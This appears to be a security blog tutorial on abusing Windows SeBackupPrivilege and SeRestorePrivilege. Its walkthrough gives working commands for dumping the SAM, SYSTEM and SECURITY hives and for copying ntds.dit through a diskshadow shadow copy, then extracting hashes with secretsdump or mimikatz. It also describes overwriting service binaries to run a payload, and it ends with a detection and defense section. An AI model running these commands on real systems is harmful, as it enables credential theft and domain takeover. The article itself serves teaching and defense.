Abusing Windows Backup and Restore Privileges

Abusing Windows Backup and Restore Privileges - article cover image Windows Privesc
2026.07.12
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Windows implements file and registry access control through DACLs evaluated on every open, but backup and restore operations were deliberately designed to bypass that check — a backup agent has to be able to read every file on disk regardless of who owns it, and a restore agent has to be able to write every file back to its original location, or a full-disk backup product simply couldn’t function. Windows exposes that bypass as two user rights: SeBackupPrivilege and SeRestorePrivilege. A token holding them can open any file or registry key for read (backup) or write (restore) while the kernel skips the normal FILE_GENERIC_READ/FILE_GENERIC_WRITE DACL check, as long as the caller opens the object with the FILE_FLAG_BACKUP_SEMANTICS flag.

This is not a bug — it is documented Windows behavior — but it is one of the most consistently under-appreciated privilege-escalation paths in Active Directory environments, because membership in the built-in Backup Operators group grants both rights and is frequently handed out to helpdesk or backup-tooling accounts that are not local administrators and are not treated as sensitive. A holder of these privileges can read SAM, SYSTEM, and SECURITY hives to recover local password hashes, pull ntds.dit off a live domain controller for a full offline DCSync-equivalent credential dump, or overwrite SYSTEM-protected files to plant a backdoor — all without ever being a member of Administrators.

Attack Prerequisites

The technique needs the following to line up:

  • A token holding SeBackupPrivilege and/or SeRestorePrivilege — typically via membership in Backup Operators, but the rights can also be granted individually through Local/Group Policy (User Rights Assignment).
  • The privilege enabled in the current token — Windows lists these privileges as present but *disabled* by default in a normal logon (whoami /priv shows State: Disabled); a tool that calls AdjustTokenPrivileges is needed to turn them on before use.
  • Local console, RDP, PsExec, or any code-execution primitive on the target host as that user.
  • For domain-controller targeting: local access (interactive or remote command execution) to the DC itself, since the technique reads files directly off disk rather than over the DRS replication protocol.

How It Works

FILE_FLAG_BACKUP_SEMANTICS is passed to CreateFile to tell the kernel “treat this open as a backup/restore operation.” When the calling token holds SeBackupPrivilege (for reads) or SeRestorePrivilege (for writes), the object manager’s security reference monitor skips the normal DACL comparison against the caller’s access token entirely — access is granted purely because the privilege is present and enabled, not because any ACE in the file’s DACL names the caller. This is also what lets backup semantics open directories as if they were files and traverse otherwise access-restricted paths, which is why robocopy /b (backup mode) can pull files a normal copy would be denied on.

SeRestorePrivilege grants the mirror-image bypass for writes, and goes further: it also permits setting an arbitrary file owner during the write (normally restricted to SeTakeOwnershipPrivilege or the object owner) and allows overwriting files that are marked read-only or protected by the OS from normal write access. Combined, a Backup-Operators-equivalent token can read every credential-bearing hive on disk and can also overwrite arbitrary SYSTEM-run binaries — two independent paths to full compromise from a group membership that is not Administrators and is routinely excluded from privileged-account monitoring.

On a domain controller the same primitive reaches ntds.dit, the AD database, and the SYSTEM hive that holds the boot key needed to decrypt it — reading both off disk (rather than requesting a live replication) yields an offline dump equivalent to a full DCSync, including the krbtgt account, without ever touching the DRSUAPI protocol that DCSync detections typically watch.

Vulnerable Code / Configuration

The exploitable condition is entirely about what the token is granted, not a code bug. whoami /priv after logon shows the rights present but disabled — this is what confirms the account is a viable target before spending any more effort:

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== ========
SeBackupPrivilege             Back up files and directories            Disabled
SeRestorePrivilege            Restore files and directories            Disabled
SeSecurityPrivilege           Manage auditing and security log         Disabled
TEXT

The membership that grants these by default with no further configuration required — this is the misconfiguration worth flagging in an assessment, not a code flaw but a scoping decision most orgs make without realizing its weight:

net localgroup "Backup Operators"
Alias name     Backup Operators
Comment        Backup Operators can override security restrictions for the
               sole purpose of backing up or restoring files

Members
-------------------------------------------------------------------------
svc-backup
helpdesk-01
TEXT

Any account in this list can read HKLM\SAM, HKLM\SYSTEM, HKLM\SECURITY, and any file on every local NTFS volume — including ntds.dit on a DC — regardless of that account’s actual file permissions, and this is true even though Backup Operators is not Administrators and typically is not covered by tiering or privileged-account alerting.

Walkthrough / Exploitation

The privileges exist in the token but are disabled; a helper is needed to enable them before any backup-semantics call will succeed. SeBackupPrivilegeCmdLets (a small PowerShell module built exactly for this) wraps AdjustTokenPrivileges and provides backup/restore-aware file copy cmdlets:

Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

# Turn on the privileges in the current token (present but Disabled by default)
Set-SeBackupPrivilege
Get-SeBackupPrivilege     # confirm State is now Enabled
PowerShell

With the privilege enabled, exporting the local credential hives is a single native command — reg save respects SeBackupPrivilege and needs no admin token, only the privilege:

reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
reg save HKLM\SECURITY security.hive
PowerShell
# Offline extraction with Impacket
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
Bash

On a domain controller, ntds.dit is locked by the OS while the directory service is running, so it can’t be copied directly even with SeBackupPrivilege. The standard workaround is a Volume Shadow Copy, created with diskshadow (no admin rights required — only backup privilege plus the ability to run diskshadow.exe), then a backup-semantics copy out of the shadow:

# diskshadow script (save as x.dsh)
set context persistent nowriters
add volume C: alias cdrive
create
expose %cdrive% E:
TEXT
diskshadow /s x.dsh
robocopy /b E:\Windows\NTDS ntds_dump ntds.dit
reg save HKLM\SYSTEM system.hive
PowerShell
secretsdump.py -ntds ntds_dump\ntds.dit -system system.hive LOCAL
# Yields every domain account's NTLM hash offline, including krbtgt
Bash

mimikatz offers the equivalent offline path against already-exported hives (lsadump::sam /sam:sam.hive /system:system.hive and lsadump::secrets /system:system.hive /security:security.hive) for operators who prefer to stay within a single tool.

Note: SeRestorePrivilege alone is a separate, equally viable escalation: Copy-FileSeRestorePrivilege from the same PowerShell module can overwrite a SYSTEM-run service binary or DLL that a normal token cannot write to, because the write-side DACL check is bypassed the same way the read-side one is. Restarting that service (or waiting for a reboot) then executes the attacker’s payload as whatever account the service runs under — frequently LocalSystem.

Opsec: reg save against SAM/SYSTEM/SECURITY and diskshadow invocations are both well-known IOCs; EDR products commonly alert on either by name. Renaming the output hive files and running from a non-default working directory does not defeat behavioral detection — the process-command-line pattern itself is the signal, not the filenames.

Detection and Defense

Because the underlying mechanism is a documented OS feature, defense is entirely about who holds the privilege and watching for its use:

  • Restrict Backup Operators membership to dedicated, tightly monitored service accounts, never interactive helpdesk or standard-user accounts; treat membership as Tier-0-adjacent on domain controllers.
  • Enable “Audit Sensitive Privilege Use” in Advanced Audit Policy so Event ID 4673/4674 fires when SeBackupPrivilege/SeRestorePrivilege are actually invoked, not just held.
  • Alert on reg save of SAM/SYSTEM/SECURITY and on diskshadow.exe / vssadmin shadow-copy creation outside known backup-software process trees.
  • Monitor Backup Operators group membership changes (Event ID 4728 / 4732) the same way you would Domain Admins.
  • Rotate local Administrator and krbtgt secrets after any confirmed hive exposure, and use gMSA/Credential Guard where possible to reduce the value of what’s recoverable.

Real-World Impact

This technique shows up repeatedly in internal penetration tests and BloodHound-driven assessments as a fast, low-noise path from a mid-tier service account to full domain compromise, precisely because Backup Operators is a legacy built-in group many organizations still populate for convenience without recognizing it as equivalent to credential-theft-capable access. It requires no exploit code and no patch exists — it is core Windows design — which is why it remains a durable, high-value check in any AD security review.

Conclusion

SeBackupPrivilege and SeRestorePrivilege are an intentional, by-design ACL bypass, which is exactly why they are dangerous when handed to the wrong accounts: there is no patch to apply, only scope to restrict. Treat any holder of these rights as equivalent to a domain administrator for monitoring purposes, and audit Backup Operators membership with the same rigor as your most privileged groups.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL